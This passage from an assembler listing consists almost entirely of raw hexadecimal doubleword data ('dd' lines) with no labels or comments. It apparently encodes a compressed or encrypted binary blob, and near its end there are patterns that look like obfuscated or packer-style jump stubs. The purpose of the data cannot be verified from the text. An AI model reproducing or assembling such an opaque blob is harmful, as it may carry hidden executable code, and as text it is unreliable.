0EDC32h, 0DA91F100h, 0A962C80Bh, 753497DAh, 44FF63A6h dd 16CD3275h, 0E7028247h, 0B5F8C782h, 83C69554h, 5396651Ch dd 0E66B3AF1h, 5E208A85h, 254BD850h, 0DD94F930h, 0E72850Eh dd 0D4B29855h, 0BF8E4DAFh, 5BC2336h, 5EC16248h, 0F990C9A7h dd 0B41E1997h, 27DDBEF7h, 0D8F05DB8h, 32788587h, 95A85512h dd 71967433h, 5E71580Fh, 0E613FF8h, 0F5B269CBh, 0D1B84945h dd 0A7A831D6h, 0DDACF2E3h, 78F91h, 94F9F000h, 0EDD120DDh dd 0B9DDBEF7h, 80587C5h, 4FF2228Bh, 8011482Fh, 0CC72C16h dd 0A7ED8A47h, 7B635EC9h, 24E3ADFAh, 82E4F7DEh, 55B7FAC9h dd 7978AF96h, 59107564h, 13411E94h, 288DF435h, 18367E71h dd 0B376C5E7h, 0E1043h, 6C52500h, 0D58EF437h, 0A960C306h dd 783397DAh, 4A0166A9h, 1BCEB67Bh, 0E92CFBB6h, 0BF02D188h dd 8FD2A158h, 1A9F6E2Dh, 5E14BEB9h, 597FD850h, 0DD94F964h dd 0B269CB0Eh, 6B2C8EF5h, 63E147AEh, 0BEF77E68h, 0C3E329DDh dd 7D3C9F06h, 327F0BC0h, 8DCEBC7Ah, 635EE648h, 0DDBEF77Bh dd 0EFBEDE24h, 0A2A1C883h, 2CADD2h, 83DC0000h, 0BEFB5E88h dd 620349DDh, 0A08643FCh, 7CB389C2h, 6B8D350Dh, 273412A3h dd 0DDBF35F5h, 3EA5B89Fh, 6E4CA87h, 0FFFDADD8h, 0AD1137FFh dd 0F9DDBEF7h, 72856C85h, 0C77550Eh, 0AD979111h, 9D84CAE3h dd 0B572298Ah, 12C92ECFh, 26916F55h, 2BFAB113h, 8C586E8h dd 92853CA1h, 0C5E6AC24h, 424DBD80h, 5700000Dh, 226534F7h dd 0F13403BCh, 0C508D78Eh, 98DBAA61h, 0E4A97833h, 2DE449A0h dd 0FFBA1B5Eh, 0CF86ED30h, 9C5BBD00h, 0ECE748CDh, 0D8505DC2h dd 0F99287ADh, 41F85F97h, 5EB76421h, 0BEF77B63h, 0DE24DDh dd 5C279DBh, 5CC3D681h, 2402E8A5h, 8EF02576h, 72D3E6CDh dd 0F7CDF5F0h, 70B6DDBEh, 0B31F7250h, 0D2A2A198h, 12DDh dd 0A0B33E00h, 96A3813Ah, 0DDBF0166h, 0FCF8640Eh, 0B0C3FFFFh dd 433E25DEh, 0E3A7F852h, 0F948054Bh, 0D857F5D4h, 866435F5h dd 0D88BBFC5h, 1D8AEh, 7CB30F00h, 5DC3BB3Fh, 3E03E9A6h dd 0A609467Dh, 2C4C32EFh, 9371288Bh, 0BE7B0886h, 0E2108DDh dd 482EEBACh, 6B287D83h, 3D1B2E36h, 0D5384B00h, 8C735916h dd 0BE0E2991h, 2E0C52DDh, 744BA709h, 9759F4FCh, 218211D6h dd 0F4BC5B06h, 60C205D4h, 0AF9BEAA7h, 66DDBE80h, 52B4793Ah dd 389FB299h, 26F466DCh, 0E707622Eh, 3DA3442Ah, 0C955A886h dd 485B42B7h, 836926E5h, 9BFD64A5h, 68CA0DDCh, 0AFA3F2AFh dd 30DDBE02h, 6DA42370h, 48B8B05h, 0FD4B29D4h, 0D2A33C4Eh dd 13C27h, 97F98800h, 5ABC23E0h, 6661BAA1h, 0DDBEF77Ch dd 0B003E127h, 707FF027h, 0A02EF47h, 2FC0BE2Ch, 15D43548h dd 29947258h, 9C5BBDD0h, 0E1BF9DFh, 0E3A8D9DDh, 34834086h dd 0D8571C8Eh, 0C2207131h, 0D88CA889h, 39EAh, 0DEB04B00h dd 0BE433E25h, 0E7E3A808h, 44A7BAA1h, 0E61BC3BEh, 3E84D857h dd 98FA611Eh, 1C3C22DFh, 0AEFD3Eh, 0ABD857E6h, 0FFBA1B2Eh dd 0C4267321h, 0D88BB287h, 0A9ECh, 97F94D00h, 0F7B41E19h dd 99DFDDBEh, 0F055BC79h, 7A9A51B8h, 97FD10BDh, 0F7B41E19h dd 99DFDDBEh, 35D6BC79h, 725815D4h, 4E0D6F94h, 8EC82A91h dd 8251712Ah, 0C685E6F9h, 38452309h, 0DDBF0FFDh, 24F3B416h dd 260DE698h, 0AAB5D62Bh, 9279BFE3h, 905F1A7Fh, 3E31E84Dh dd 0C5E3C2C2h, 2AEF5F22h, 3F00000Bh, 0A4D1CDFh, 0D91CEBA4h dd 0ADF0BF76h, 80C39249h, 0CC91601Bh, 15CC31B8h, 0E7A20346h dd 0B76ED518h, 8443A5E8h, 0D4CF30B5h, 0D8505BEAh, 0B37A6F95h dd 0D6D93DA0h, 33D6B261h, 14FAB7D7h, 0F5AC1136h, 0CA81E326h dd 97F9A4FBh, 5ABC23E0h, 3649D2A1h, 0A3816D5h, 404h, 0B4C6B469h dd 5CA484DAh, 0BBCF9624h, 38B9B49Bh, 61E3AD06h, 0C2BC501Bh dd 0B24F4A31h, 63E64717h, 0AD11601Dh, 0ED66696h, 0AC9F0D4Eh dd 0C9DE7B1Eh, 366h, 0F7AD112Ah, 0C5FCDDBEh, 9F74AFFCh dd 0A9B694ECh, 0DDBED836h, 2C4E0C82h, 3E29B4D0h, 443F2646h dd 0E3A7611Bh, 64649984h, 0D2B0FDA4h, 6F4FBFB2h, 0D699C5E1h dd 0A6466h, 62197900h, 31EA5093h, 0FDBC1F62h, 0CC87EB2Eh dd 9E55BAFDh, 6F7A0ACFh, 3D804F0Ah, 0B4E1DDCh, 0DB1EEDA4h dd 6EF3C279h, 5AA8120Dh, 0ADD3D850h, 5B7CB3B8h, 46056733h dd 0FCDEA389h, 466B4987h, 0B66623E4h, 454027D8h, 0E3ADDBB9h dd 49D5A4EAh, 7CD5BC35h, 501B5981h, 8F48AED8h, 0F35E3C82h dd 437BEEF8h, 6C5399E6h, 7F7AF859h, 0D6637B57h, 0BDAFA40h dd 6374AAE0h, 99EDA0D6h, 92618138h, 48AAEE4Fh, 79E5CDC8h dd 488ED663h, 65856B28h, 28DF41A8h, 0BCC2E41h, 714F086Ah dd 0F708330h, 79208A85h, 54BD663h, 644228E5h, 806798F6h dd 4797CE27h, 70A1CD2Ch, 349B43CCh, 2F2AD663h, 0D6633487h dd 579DAAF0h, 0C4776C79h, 3520E875h, 0E8C84440h, 0F7D16007h dd 0BC4B995Eh, 0FD5F5272h, 2FD1CE1Bh, 97BFC6Ch, 30900000h dd 0F3599C6Bh, 0C72A6D3Ch, 9AFE4110h, 6ACF12E1h, 691BE0AFh dd 91601B80h, 5F2EED4Eh, 2FFEB51Ch, 2D18AECh, 0B9211C7Dh dd 0E2D85059h, 0DEB0C7BCh, 53E541A4h, 0F70C5591h, 2E90929h dd 0ADF7FF07h, 7B62A8E3h, 4757C744h, 2621C4CDh, 0D85179BCh dd 0A381A1E7h, 5C42538h, 0E0CAC51Eh, 8BD85179h, 785B837Eh dd 0FE44D851h, 1BDA3DDEh, 2A61EA3Dh, 0C04DF0CDh, 0E54CED89h dd 0AD8B712Eh, 7D642788h, 7A48346h, 36142E79h, 0B84945F5h dd 96C8D6D1h, 357BE642h, 3B4174Eh, 0C06573DCh, 9DF1A1E2h dd 0ED247D64h, 0ACC07C4h, 4C5937F9h, 0E87569C7h, 33372A70h dd 0FDD1CE7Bh, 8BBCA3Ah, 70D00000h, 3399DCABh, 76AAD7Ch dd 0DA3E8150h, 0AA0F5221h, 295B20EFh, 0D1A05BC0h, 9F6E2D8Eh dd 6F3EF55Ch, 4211CA2Ch, 79615CBDh, 22D85058h, 97F907FCh dd 81E6F9E0h, 44ABECCAh, 0E86C29E2h, 1274B9FAh, 2D1E8A59h dd 46D2A2BDh, 136h, 0E097F9A7h, 0A15ABC23h, 0B74846D2h dd 0D94D5D0h, 74DE3A8h, 0E0D7FB4Ah, 38F8D857h, 0D4C2897Bh dd 49B3D88Bh, 14000000h, 7080DEB0h, 0AF4D5808h, 8AE3CAEAh dd 0BCC4FA31h, 70A543C4h, 0BECFFFE7h, 8462A8DDh, 0A8306A77h dd 0CA2E41E3h, 5CA23311h, 0BE62509Fh, 8D4DD857h, 0EA6DDECCh dd 0C506D88Bh, 35000000h, 4906BD22h, 8C57EE2h, 0EB240222h dd 23E097F9h, 9ED557BCh, 718F210Bh, 2B931C5Dh, 0C0DDBE61h dd 0F9DF9C5Fh, 0C986A6ECh, 8A470062h, 3B0AC123h, 0BF85ED10h dd 0E3A406DDh, 2B90A3FCh, 44CDB370h, 0DDBE459Ah, 8EE1BF05h dd 558DF205h, 3B1939F0h, 5940B1CDh, 0AA1F215Eh, 0C5ACF2E3h dd 9F49716Ch, 0EC32D852h, 2B90A30Eh, 0F95EA170h, 64394F42h dd 480BC5E4h, 790D8h, 8645A500h, 550E74B7h, 29E04386h dd 0F8B3175Ah, 0CA81E629h, 9B4E36FBh, 69AC7B36h, 3F825108h dd 0F5221D8h, 9A1FEEADh, 47943E39h, 0D9FFD850h, 0DD94F9E4h dd 312C850Eh, 0DDBEF789h, 0CAC5ACF2h, 0DDBEF7E0h, 4267458Bh dd 15827E0h, 23E097F9h, 0D2A15ABCh, 6B86h, 19B4E500h, 0B86FD5E8h dd 0E1126CDAh, 926AA1FAh, 0D1F9F4E0h, 0BADDBE04h, 780CAF74h dd 424E5B39h, 1BE3ADACh, 2C1FC7C2h, 4288D850h, 0F1E8D364h dd 410FB986h, 6D2C8D2Eh, 0EF53664Dh, 0CFCA7734h, 0D850E3E7h dd 892A4A90h, 0CAB06D24h, 0C10D9DECh, 3F26DFAFh, 4383BD44h dd 2BFFEAE6h, 0B970D51Ah, 9E7491F4h, 5A5FB37Eh, 0BE000000h dd 3E25DEB0h, 0A8270E43h, 945197E3h, 57D79A45h, 591077D8h dd 0B1AA119Ch, 1E3C11DEh, 0A05D1C7Dh, 296D2E1Ch, 3FA2B576h dd 0C584E788h, 6A7839E7h, 0F9F4DB14h, 0E641F044h, 0C720074Dh dd 80987890h, 0B039CC0Ch, 0D66D6006h, 0B37E8671h, 2AB80572h dd 8DD92C0Ah, 0C6h, 3FA0B3ECh, 5E309E7Ch, 33C3BEA5h, 92E3AD97h dd 0A15E1D7Fh, 64CDDBBh, 5B8FC61Fh, 0A71A6182h, 0D900AA33h dd 256BD850h, 0D99B433Eh, 0BE04D850h, 8AD6BCE0h, 2381D288h dd 0D890CF28h, 794Dh, 0DEB0AE00h, 0B2433E25h, 11E3AD97h dd 54AB34DAh, 0DE3FFB73h, 8C1DFB1Bh, 74C0A646h, 0DFFBC72h dd 0D891493Eh, 5137h, 5AB39800h, 0BEF7775Fh, 0FCDA20DDh dd 18FFF08Eh, 0AD97931Dh, 34D9C4E3h, 228154A4h, 8EE8EAEh dd 0D68DF3BCh, 954EB219h, 86302BD8h, 0F1D85002h, 0B2FFEDABh dd 296A20FAh, 70CD679Eh, 4C980E7h, 6D0E8061h, 1F6D4B0Ah dd 0D891102Ch, 0D49h, 511AA00h, 2BDDBF10h, 0FFFEE381h dd 0DEB0E0FFh, 0C7843FA4h, 8441FA60h, 775E7E9Eh, 0F7BB231Eh dd 9EE4DDBEh, 85A55C0h, 0D3E3AD98h, 6E20D08Dh, 0D4F4AF14h dd 36EFF2EDh, 8B98E643h, 63B62690h, 527C77D6h, 3DD663B6h dd 84A4EAF7h, 8E6717C7h, 0D612ACA7h, 377DE870h, 20D73D50h dd 38C9C551h, 79145651h, 89CFF266h, 35FF6BA2h, 500525BDh dd 9BAE0772h, 0DFC58239h, 1975DC01h, 5B06F68h, 43123201h dd 8544A7BAh, 70619AA7h, 3D50625Fh, 7C379CDCh, 0DBB9D9BFh dd 0C49354B6h, 0AB681F81h, 8B7283FBh, 4959DF90h, 0EC77AE4Ch dd 0C386E46Dh, 0F63CCDABh, 0EBA8D439h, 0AB62C022h, 0A79BDFF9h dd 0E404C325h, 0D1694B1Fh, 4243E09h, 0D48BF235h, 914AB017h dd 6C5651AAh, 1768741Ah, 5DB2F3D1h, 248B4011h, 0F45B9E6Dh dd 86D4803Dh, 5F94E56Dh, 0E97241F8h, 0F7B473D6h, 872F2A11h dd 0F068741Ah, 0B093CCAAh, 0B96623D0h, 0CA8740A6h, 29E043E4h dd 3C4264Bh, 0B4059146h, 0E7E25636h, 0DDBEF7FFh, 0ECF9B214h dd 2EB786A6h, 147BB71Bh, 9ABAA05Dh, 0F419F7DDh, 5339D992h dd 64771E08h, 0A38946FDh, 915A17C5h, 62AD782Fh, 495C43FCh dd 8C722FE6h, 15D289EBh, 0C110512Fh, 0DDBEF719h, 3EF7C4F0h dd 0D501FD8h, 6A274AA6h, 9E5C8681h, 147DDBEh, 12ACED3Ch dd 0F9E635F2h, 0F5DDBE81h, 2289420Fh, 0E74C86EAh, 694F0C2Ch dd 0A34F7A49h, 9CDDBF62h, 229CC47Ch, 25EF0F2Dh, 0D2A36D25h dd 0FFFF624Ch, 5687BFFh, 0C5A38946h, 3B97F98Ch, 42A37525h dd 804F6F6Eh, 351CDB3Dh, 7C3E14FEh, 7B5920D4h, 9354B657h dd 803799ACh, 7ADD7EA2h, 9C73FEBBh, 0D75DEC3Eh, 44FB6102h dd 95E63287h, 3879DFE1h, 0F3DA91F3h, 0DA4179E0h, 60806623h dd 0B51CBDA3h, 40D120FEh, 51C2ECE7h, 67ADDDBEh, 47103B89h dd 6C65D2A3h, 0C6000000h, 3E25DEB0h, 0AD97BC43h, 0BBB60FE3h dd 0D8505713h, 0BCC982E8h, 2A948F76h, 55D85057h, 5AA0310Fh dd 5D89D4BAh, 182BBAF7h, 0A917F5B6h, 0FE351CD5h, 2479EC11h dd 46A849F8h, 4E2C885h, 8C139E99h, 7D44E643h, 0BDA36017h dd 4A5DB69Dh, 3DA52EE5h, 66D6624Ch, 9FF34220h dd 48h, 8F3F95CCh, 962C1651h, 0D3B97635h, 0B39CD5B3h, 0E18239A0h dd 260CC980h, 4BA4DA48h, 97666964h, 0C90FE3ADh, 15014329h dd 3A545623h, 0D8E7E2C9h, 0B3E64337h, 0B6775F5Ah, 2968D663h dd 1C126178h, 0AE82E3Bh, 9683379h, 775F5AB3h, 8CDDBEF7h dd 0C8AE6B28h, 729775BBh, 339A5710h, 0C24B1AD1h, 0F7446E69h dd 0E92FDDBEh, 10E19D0Bh, 0EDD5D029h, 96DDBEF7h, 49F58B50h dd 5333DEF3h, 0DE0F0A75h, 0ADE3A8A9h, 9CFD359Ah, 4EDFBDDDh dd 679E4B08h, 0C32DB567h, 0FF0CEAF8h, 0D8572DD3h, 8D7F3CFCh dd 0D88C97BEh, 3DB7h, 0DEB01800h, 0A2033FA4h, 24442AE7h dd 7EE08167h, 0BBB69DBDh, 0E3A80836h, 0D5C195Fh, 0D857E6A1h dd 9B094A0Ah, 0D88BB2B0h, 0D7F4D209h, 24F00F94h, 0E001B85Fh dd 18F68C49h, 0E569h, 0A0B3CA00h, 0DCC27F3Ch, 0C077D9FEh dd 0B5379C03h, 0F779615Ch, 0DC22DDBEh, 0BEF76B53h, 0AECE14DDh dd 6F288AF1h, 8DF205B2h, 71D3F8D6h, 0EDC0EBBAh, 0E0DDBEFBh dd 0F3228C87h, 74DDDBEh, 0E9A20429h, 0B675D71Ah, 9D56BCCFh dd 0B0CE7EBFh, 0C8FF583Fh, 0EF3F98B7h, 2F3C1AC4h, 0E3A7F25Eh dd 0A6320147h, 353017E8h, 0E643A4D6h, 49A289CFh, 6A3A644Eh dd 0E2480FD6h, 27220929h, 0D66A3ABFh, 59C4A2E8h, 45A9E146h dd 36AD18Eh, 3D0C2C4Ch, 0F65D95FAh, 4A2C1F3Fh, 0DECBDCC1h dd 1D7AB1Bh, 8CEC0000h, 57BD00CFh, 2B8ED1A0h, 0F65A9D6Ch dd 0C62B6E3Dh, 0D773C0Bh, 0EDBC77DCh, 0C39249AAh, 93621980h dd 5E2DEE50h, 557D78D9h, 3ED85041h, 94F92318h, 69CB0EDDh dd 52B8CBB2h, 0DF68BB99h, 0F7238B86h, 64CDDBEh, 0DEB0EF28h dd 0D0F02480h, 0DF3B06Bh, 8B50EF48h, 2F4F6F2Ah, 0A404D48h dd 417E3A8h, 0DC43E49Fh, 70B64725h, 0B2AD06B3h, 0D857E408h dd 424F2D73h, 0D857E49Ch, 1069C23Fh, 57E4AD15h, 790D6D8h dd 0D857E4DFh, 0F6A482C8h, 0B50447A5h, 0AD71D88Bh, 0D2000000h dd 0FE5F97F9h, 80A057BAh, 0D73CA360h, 5D105F1Ch, 76DDBEFBh dd 596C5314h, 0D603EF5h, 17464D84h, 0FF3ADECAh, 4D9ACD3Ah dd 0D0AE7D87h, 0D59249ABh, 0B1986925h, 0A7D9D5B6h, 0B988CEE3h dd 0B9A0512Dh, 4386ECBEh, 8A71B7E6h, 96B21277h, 1711F226h dd 0EC2FFE1Eh, 0ABD9CC87h, 81CBDCD2h, 0DB4EBEh, 90F00000h dd 53B9FCCBh, 278ACD9Ch, 0FA5EA170h, 0CA2F7241h, 97B400Fh dd 0F1C07BE0h, 0BF8E4DAEh, 8F5E157Ch, 6231EA4Ch, 59817CDDh dd 42D85040h, 94F9271Ch, 69CB0EDDh, 235AE3B2h, 0FD3617F6h dd 8E383308h, 0F9DDBE2Dh, 7CB593B3h, 813AA0B3h, 0DB00DEC4h dd 9E05C279h, 81947B3Ch, 3386641Bh, 0E6CD8EF0h, 0F728928Dh dd 5ABFDDBEh, 6E4C929Fh, 0B576D81Bh, 6D61A9F8h, 9C28099Ah dd 72B416DFh, 0B970D30Bh, 0D497F899h, 42113117h, 8A7A82B9h dd 0C6D5996Eh, 0AA61C3E8h, 692286EDh, 23E245ACh, 0DB9EFF66h dd 0CC8DB91Eh, 7F1CC6C1h, 4187F665h, 86998221h, 0DD8B6922h dd 36F5579Ch, 9C22467h, 0E4CEC922h, 8FF6657Fh, 0EAA764C8h dd 0C506E404h, 855h, 907DB400h, 8361187Dh, 0E299F94Ah dd 9B5CBE25h, 591077DEh, 15D4359Ch, 0D58CF158h, 954CB118h dd 560D71D8h, 18CF3299h, 0D58EF45Bh, 89508118h, 405E0h dd 0E8830000h, 24048704h, 6824248Bh, 2DF0h, 68243489h dd 5272h, 0BE241C89h, 0DA4486Fh, 5106EEC1h, 0B810CAB9h dd 59CE0105h, 241C8B54h, 8304C483h, 348904ECh, 24348124h dd 79865F4Ch, 8108438Fh, 5F4C0873h, 34FF7986h, 0C4835B24h dd 24348B04h, 81E78957h, 4C7h, 4C78300h, 5C243C87h, 0FB91ACE9h dd 0B825AFFFh, 5EEB809h, 0E0FFC503h, 0FC3A9EAh, 0B6C3186h dd 35922B20h, 3B6A9D04h, 6B2A20E5h, 5D6EAE66h, 23D4B51Eh dd 5DA55E8Dh, 7D0B676h, 3292B368h, 6BD54130h, 487505CCh dd 74CD968Bh, 9E1C13Bh, 9CFE4EEh, 213A3C7Fh, 212E4711h dd 6E8h, 1B38D200h, 0FCD22B88h, 0A5C2815Ah, 0F00006Fh dd 38Bh, 0F7B70F00h, 1BBA68h, 6059F800h, 0A8E0Fh, 5E90000h dd 6A000000h, 0DB4D9DA9h, 0FE9h, 8ED29700h, 6B36668Dh dd 3E60AFD9h, 7B966D32h, 813A8B61h, 0C83C81C7h, 0F708BE57h dd 0C781365Dh, 1A4E4F8h, 81F3B70Fh, 584C6DC7h, 0A5E88170h dd 576742FCh, 8FF08B66h, 81616002h, 204D81EAh, 38F0F08h dd 66000000h, 0C281F38Bh, 8204D7Dh, 1E981h, 850F0000h dd 24h, 13E9h, 11CE0600h, 1ED07C36h, 2C5003F7h, 88D076A5h dd 272A4F46h, 15E9h, 0AD12EA00h, 0D77C8B4Fh, 0FFFF8CE9h dd 0F3E692FFh, 9853C12h, 8D8DC480h, 5EEBA18h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 31C35242h, 0F27665Ch dd 8D89F0BFh, 5E92655h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Dh, 67C35747h, 3558D701h, 7E3B7BFEh, 0A5953353h dd 0C705E910h, 0E9080585h, 6FFC05h, 39BD8900h, 0C705E912h dd 0E9163D85h, 5, 9EBB6600h, 55B5FF66h, 0FC05E923h, 0BC595FFh dd 6A05E9h, 1E9595FFh, 0C08B05E9h, 4FE25AEBh, 74F1E716h dd 0E879E1E8h, 3D85388Ch, 25A273ACh, 30E85DBAh, 4B6D794Ch dd 0B9E26EF2h, 0C0C9CB43h, 15E4896Fh, 26AF6FB6h, 0F8ABE0F9h dd 0F8DDF3E7h, 9F56AED9h, 0D31900BDh, 6E34F8C2h, 2E99136Ch dd 0EC8A99E7h, 3B30CD79h, 565DB0DDh, 0CEFFCE8Ch, 0AF23B868h dd 0F42D930Ah, 0A54408EBh, 339C7F0Fh, 14E977E7h, 6800000Dh dd 5EEBC17h, 0FAC566E9h, 0BD1268FFh, 5CE905EEh, 68FFFAC5h dd 5EEBE79h, 0FAC552E9h, 0BF9568FFh, 48E905EEh, 68FFFAC5h dd 5EEC0CAh, 0FAC53EE9h, 0C37C68FFh, 34E905EEh, 68FFFAC5h dd 5EEC53Fh, 0FAC52AE9h, 0C64C68FFh, 20E905EEh, 0ECFFFAC5h dd 826885ACh, 14FA1746h, 0A58BA8D7h, 341A376Ah, 0AAAECBF6h dd 19448238h, 0AED516FCh, 416CAB91h, 0D1043E24h, 5806E7B4h dd 1327A016h, 0C2613F98h, 91B25588h, 1AFCC270h, 8C0216C9h dd 0C91A1A5Ch, 912EA416h, 299FCED9h, 3B5EA409h, 81BBA13Eh dd 0DC8AAB4Eh, 16C9EF9Ah, 6A11AE24h, 346FD931h, 4EFC9F01h dd 1C32D6C1h, 759CDD4Dh, 0DAE513h, 0A46896C1h, 3AD73968h dd 20F94280h, 6114B513h, 2630864Ah, 329A45h, 6F600000h dd 0E304A717h, 0AE2C1FB4h, 61FE891Eh, 32A6BAA7h, 0B356CC1Ch dd 22AED384h, 0B552FBB2h, 2F5D65FDh, 0F99A1320h, 0E2612F7Ch dd 0CB7F4526h, 45000000h, 275588C2h, 0DC05421Ch, 0E210729Dh dd 57957B18h, 965A892Ch, 0C96E77FDh, 13D78F2Ch, 0F7B765D9h dd 0AC16C974h, 0C974B8FEh, 78D04616h, 0AE72A002h, 0E20B4774h dd 7D4775A8h, 0E29CB91Bh, 16C978D1h, 0C7E41751h, 4674A7E1h dd 0C467D72Fh, 319DA516h, 5E7BF11Ch, 0BA5DCD25h, 84CA7899h dd 0A132053h, 393DF794h, 4519C6DBh, 14522CCFh, 0A8E6CCE9h dd 0A2DB0B2Eh, 0CA2C3F4Ch, 7253ED99h, 8C48406Fh, 0AF6h dd 27446BABh, 0B9D60541h, 4A6796D3h, 0D9F62964h, 6D8AB5F3h dd 3417969h, 94D5BBD8h, 2B6A506Dh, 0C3FDE300h, 0C5A67390h dd 27A65717h, 20FE5713h, 6A1884C2h, 16C91A24h, 0B396CA6h dd 1173E941h, 0A1D40EF4h, 5A7B5684h, 0C91AEAACh, 0E17EF416h dd 3DE050A8h, 0CBF92463h, 89376401h, 1C322998h, 0B24A78EEh dd 13200B90h, 5A88B3F2h, 0FF2D5896h dd 0F7A7CEF1h, 0E7C8F790h, 0B9AE3649h, 0D99CD16Eh, 26200ED2h dd 0B32245h, 0C2E80000h, 63275588h, 34CCFA25h, 16C9163Fh dd 13B6E923h, 34D1F839h, 3A6DA78Dh, 2D9DF50Ch, 0F36FDC8Ah dd 3B5C1C31h, 203DC98Dh, 3F1B7C13h, 0F9461B2Ah, 0AC8E2BA1h dd 6DCF023Ch, 54022350h, 1320F512h, 8DCA269Ch, 3088C15Eh dd 0DC6F1DC0h, 2619C66Ah, 0F5330DB0h, 89C7ADCAh, 0C1FD2A64h dd 389A6492h, 0ADDE400Ah, 6F72F2EFh, 0FBAA665Eh, 0B0000009h dd 462C4970h, 0D8BEDB0Ah, 694F6C9Bh, 0F8DEFB2Eh, 6E728FBAh dd 0D5003E74h, 6A91D2B8h, 0FD28674Dh, 8DC0FAE0h, 14C2A370h dd 1327A752h, 7B25035Ch, 440EE14Ch, 0F08D11EFh, 84A1CC0Ah dd 1431649Eh, 5588C2E6h, 0FC296327h, 122F91C0h, 6E1181D9h dd 837734Dh, 0A3406FACh, 32195CE9h, 0FE2CA21Ch, 201B5D66h dd 3968A513h, 980C470Bh, 201BA4EAh, 52B42A13h, 0BFB65324h dd 9ED778DFh, 26D2430Dh, 65D5D45h, 6F230000h, 0E304A717h dd 0C91A7135h, 6A077D16h, 1CCA8F3Dh, 56CC1C32h, 71EE1D28h dd 0D8C4D891h, 1131EB88h, 6613207Ah, 55FBB0C5h, 3F4526B3h dd 0AB82865h, 13204244h, 0D572D44Ah, 61EB4h, 176F7A00h dd 0EE2A04A7h, 2AC791BFh, 364FFDh, 2781C32h, 30063CD4h dd 0D0711320h, 0E997B8A5h, 132030A5h, 3716B329h, 4526F969h dd 5EE87h, 38744E00h, 74A2D50Fh, 561A48AAh, 0EC89EB1Ah dd 0C4384BEh, 0F3A144B4h, 1C321C12h, 21B7E65Ch, 97370FF8h dd 0AEDD19F3h, 1680D811h, 0A74AACD7h, 0CDD174F9h, 5684FA95h dd 0D477E73Fh, 27152F26h, 1ABD3390h, 0E4920640h, 9F3527A2h dd 558A672Ch, 9F84C1A1h, 91BEDB3Dh, 1F4D78B7h, 0C0EE215Bh dd 11F794F6h, 0BB73A4D7h, 0AE578DBh, 8945612h, 9490000h dd 0A3DFC5E2h, 34715774h, 0C702E805h, 53917794h, 0DB070B28h dd 5976A1DFh, 0EE0B3273h, 819EC908h, 112E619Bh, 0F1B56344h dd 0FD1327A4h, 88C2C6A4h, 0B8102755h, 8EF7A548h, 0D01C3290h dd 0E1103D5Ah, 963D40EEh, 2DE78491h, 1327BD05h, 0C1EF225Dh dd 0E0A654F7h, 0EE1327BDh, 1CF01678h, 5992AFE2h, 3FED9002h dd 1327BD77h, 9ACD0777h, 8DF1A26Ch, 0FDC2BCA0h, 374270D2h dd 0C4F2215Dh, 365D9EFAh, 4679B399h, 20236F29h, 80BF1327h dd 18523855h, 231FB7E5h, 5F63ADF0h, 4C8F621h, 996A98C7h dd 152579FCh, 8DAEAFC6h, 0D0F8BE6Ch, 9006ECD8h, 0D8D01E60h dd 8D2AA0ECh, 1406DA7h, 7CDEA8D6h, 0C3F795Fh, 0E07C46DEh dd 0EF66ECD8h, 0B1E41E86h, 0F2B694h, 0C2F60000h, 63275588h dd 33CBF924h, 16C91A73h, 0F4350F30h, 0A5D59FCDh, 16C91AE1h dd 4E7CAFE9h, 19B62C84h, 98C6F933h, 16B92981h, 0A4D2FD3Ch dd 62103DDAh, 1C329025h, 38C2F369h, 87698693h, 778D38Fh dd 0ED2D0000h, 87C3A9C6h, 18553B58h, 0ABE6CCE9h, 37755B78h dd 0F7EBEF0Ch, 35527DBBh, 0CAE70E4Fh, 5D7AA5E4h, 0ED0A3D77h dd 0CD913F20h, 0D11327A5h, 88C29A78h, 25632755h, 76A1DFB9h dd 0C91A0046h, 0B6188E16h, 4974B399h, 6190CCA6h, 0FD371DC4h dd 104D27CAh, 0B79D44E1h, 0BFFFF79h, 2F58094Eh, 9DDB9FCDh dd 0F5544472h, 0BBE62480h, 5B97719Eh, 0E0B08F2Ch, 40CF4Ch dd 7, 54CAC6h, 0C20A0000h, 1C275588h, 3BD80342h, 0C92A4181h dd 4B2AA116h, 0CFEC1F59h, 5D8CC8A2h, 0E2C8652Fh, 0B24A78A3h dd 16C90A91h, 8B195CCFh, 0D604214Ch, 2A5883C2h, 0CEFC2766h dd 0AEF67FDEh, 6D27446Fh, 16C92223h, 0DB99489Dh, 0F09940CFh dd 5FFFFFFEh, 38ECAh, 88C20A00h, 90F21D5Bh, 1A88CA62h dd 700D16C9h, 32659F05h, 0FEC06E8Fh, 0FC16C91Ah, 96608EC1h dd 842BC83Eh, 8E31649Eh, 1AFFBF6Dh, 89FF16C9h, 0D69C34ECh dd 0CC16C91Ah, 0E2BC5F92h, 22DA77A6h, 0DF67E817h, 0F0A1CC0Bh dd 0B754B328h, 13B6267Eh, 326D1865h, 0BFF0661Ch, 6987063Bh dd 437E3A32h, 0F8000006h, 8E7491B8h, 20062352h, 0B197B4E3h dd 40264376h, 0B6BAD702h, 1D48862Ch, 0B2D91A00h, 4570AF95h dd 0D5084228h, 5C0AEBB8h, 1327DA1Ah, 0C26D4BA4h, 3B5C0688h dd 0D73F21ADh, 45834775h, 0DD17FD1Ah, 69A78DAAh, 76D80744h dd 1B468448h, 0D79EFDEDh, 3F72AC86h, 597EBCA2h, 0F7C1EF1Ah dd 0F7997895h, 0DD40CF2Ah, 0CD567CAEh, 0AA70FF1h, 2BAE9h dd 186FAF00h, 34E203A6h, 16C91A72h, 0A1D00C7Ch, 52EAA23Fh dd 6532CCA2h, 6E3D38D9h, 0BE212DA2h, 296BEh, 5A7B8400h dd 0C91AEAACh, 0E17EF416h, 3CDF51A8h, 0C91AC88Eh, 0BD60D616h dd 1AA8EE9Ch, 0C03616C9h, 0DD438E0Fh, 47E407B6h, 0FC19F78Fh dd 225D6532h, 0BCFDC1EFh, 18776795h, 39DA415Dh, 1DA16F3Ch dd 50BFBE21h, 85000002h, 3863A17Bh, 9F0B629Bh, 3C063463h dd 0C18937DAh, 8A16C91Ah, 5A28065Bh, 0CB3DEE1Dh, 5234D144h dd 0FE16AEDCh, 35653273h, 89CD7B9Ch, 15E8275Bh, 0A8CD029Fh dd 6F9EDBB5h, 8A5D813h, 21926729h, 20979BEh, 1F400000h dd 27232D71h, 0DF3BB1E8h, 7F49779Eh, 186FB4E2h, 195503A6h dd 5A16C91Ah, 76134680h, 58F01E94h, 6532CCB8h, 982B5AF3h dd 0EA6B2B64h, 3E376C09h, 0DD04451Fh, 6948E5AFh, 0BE2190A7h dd 1C6B9h, 